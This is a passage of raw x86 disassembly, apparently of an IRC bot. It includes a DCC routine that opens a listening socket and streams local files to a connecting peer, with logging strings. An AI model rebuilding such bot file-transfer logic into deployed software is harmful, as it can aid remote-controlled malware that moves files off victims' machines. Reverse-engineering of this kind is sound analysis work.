[esp+6Ch], 1 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 push edi lea ecx, [esp+18h] call sub_4014D3 mov ebx, 2 push 1 push offset asc_444600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F50 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BC7A ; --------------------------------------------------------------------------- loc_40BC78: ; CODE XREF: ___:0040BB40j ; ___:0040BB97j ... xor al, al loc_40BC7A: ; CODE XREF: ___:0040BAEDj ; ___:0040BB80j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD50 proc near ; CODE XREF: sub_401C08j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021EE sub_40BD50 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_40155Fj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FEB sub_40BD90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE00 proc near ; CODE XREF: sub_40145Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_402117 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4014B0 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_40BE00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401C85j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4014B0 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_40BE40 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BE70 proc near ; CODE XREF: sub_401915j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C85 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C5D sub_40BE70 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEB0 proc near ; CODE XREF: sub_401C03j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BEB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF00 proc near ; CODE XREF: sub_401546j push esi mov esi, ecx call sub_402158 mov eax, esi pop esi retn sub_40BF00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF20 proc near ; CODE XREF: sub_401F78j mov eax, [ecx] push eax call sub_401848 add esp, 4 retn sub_40BF20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF40 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_402117 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BF40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF70 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CFD neg al sbb eax, eax inc eax retn 4 sub_40BF70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016AE mov edi, eax push edi call sub_40215D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021EE sub_40BFA0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40215D push edi mov [eax], ebx call sub_40215D mov edi, [eax] push edi call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401848 add esp, 4 mov ecx, esi push eax call sub_401F32 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4014B0 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C040 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40C09A loc_40C058: ; CODE XREF: sub_40C040+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B9A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40C058 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40C09A: ; CODE XREF: sub_40C040+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40C040 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C0D0 proc near ; CODE XREF: sub_4021EEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401569 sub_40C0D0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C0E5 mov edi, esi loc_40C0E5: ; CODE XREF: ___:0040C0E1j push esi call sub_402117 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C0FA mov edi, esi loc_40C0FA: ; CODE XREF: ___:0040C0F6j push esi call sub_40215D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402077 sub_40C120 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C140 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C140 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C160 proc near ; CODE XREF: sub_401848j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C160 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C180 proc near ; CODE XREF: sub_402158j mov eax, ecx retn sub_40C180 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1A0 proc near ; CODE XREF: sub_4014B0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C1A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1D0 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C1D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B9A mov ecx, eax call sub_4016AE mov esi, eax push esi call sub_402117 push esi mov ebx, eax call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [ebx] push esi mov [eax], edx call sub_40215D push esi mov ebx, eax call sub_402117 mov eax, [eax] push eax call sub_40215D mov ecx, [ebx] push esi mov [eax], ecx call sub_401848 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FEB sub_40C200 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_40215Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C2C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C2E0 proc near ; CODE XREF: sub_401569j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_40C2E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C310 proc near ; CODE XREF: sub_402077j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40C310 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C330 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C360 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C360 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C380 proc near ; CODE XREF: sub_4016AEj mov eax, [ecx] retn sub_40C380 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C3A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3D0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3F0 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C40B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C40B: ; CODE XREF: sub_40C3F0+11j retn sub_40C3F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C440 proc near ; CODE XREF: sub_401BF9j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C440 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_40C440 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C4E0 proc near ; CODE XREF: sub_40171Cj var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C4E0 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014DD mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40CA2E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_444600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40202C lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi call near ptr 71AB3B91h nop mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C5AC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5F74D1 add esp, 8 jmp loc_40C9D5 ; --------------------------------------------------------------------------- loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx call near ptr 71AB2B66h nop mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C5FA lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C6A0 ; --------------------------------------------------------------------------- loc_40C5FA: ; CODE XREF: sub_40C4E0+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014DD mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C653: ; CODE XREF: sub_40C4E0+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C665 mov eax, 5Fh jmp short loc_40C668 ; --------------------------------------------------------------------------- loc_40C665: ; CODE XREF: sub_40C4E0+17Cj movsx eax, al loc_40C668: ; CODE XREF: sub_40C4E0+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C653 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C6BD lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C6A0: ; CODE XREF: sub_40C4E0+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017EE push eax call near ptr 2870478h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C724 lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call sub_5F74D1 add esp, 8 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C724: ; CODE XREF: sub_40C4E0+201j push 0 push esi call near ptr 2870000h nop lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_40142E mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D809D push eax call sub_401E10 add esp, 4 push eax call near ptr 71AB2BF4h nop push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017EE push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_444A10 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_40168B push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 call near ptr 71AB2DC0h nop test eax, eax jg short loc_40C81D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C81D: ; CODE XREF: sub_40C4E0+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C86D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C86D: ; CODE XREF: sub_40C4E0+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C925 loc_40C87C: ; CODE XREF: sub_40C4E0+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C887 mov ebp, ebx loc_40C887: ; CODE XREF: sub_40C4E0+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 2860000h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 2850B88h mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp call near ptr 71AB615Ah nop cmp eax, 1 jl loc_40C9EE cmp edi, 1 jl loc_40C9EE sub ebx, edi jnz loc_40C87C mov ebp, [esp+0ABCh+arg_0] loc_40C925: ; CODE XREF: sub_40C4E0+396j push esi nop call near ptr 28507E8h lea ecx, [esp+0AB8h+var_A38] call sub_40142E mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014DD mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014DD push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C9BA: ; CODE XREF: sub_40C4E0+338j ; sub_40C4E0+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j ; sub_40C4E0+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C9DC loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j push ebx nop call near ptr 71AB9639h loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi call near ptr 2850140h nop loc_40C9EE: ; CODE XREF: sub_40C4E0+427j ; sub_40C4E0+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 nop call near ptr 2850140h loc_40CA2E: ; CODE XREF: sub_40C4E0+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C4E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_40142E mov eax, esi pop esi retn sub_40CBB0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CBD0: ; CODE XREF: ___:loc_401B13j add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CBF0 proc near ; CODE XREF: sub_402063j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CBF0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_40CBF0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CC90 proc near ; CODE XREF: sub_401BB8j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CC90 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014DD mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CE91 push ebx lea ecx, [esp+284h+var_260] call sub_40199C lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40202C push 1 push offset asc_444600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017EE push eax lea ecx, [esp+288h+var_247] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_444600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017EE push eax lea ecx, [esp+288h+var_232] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E47 push offset 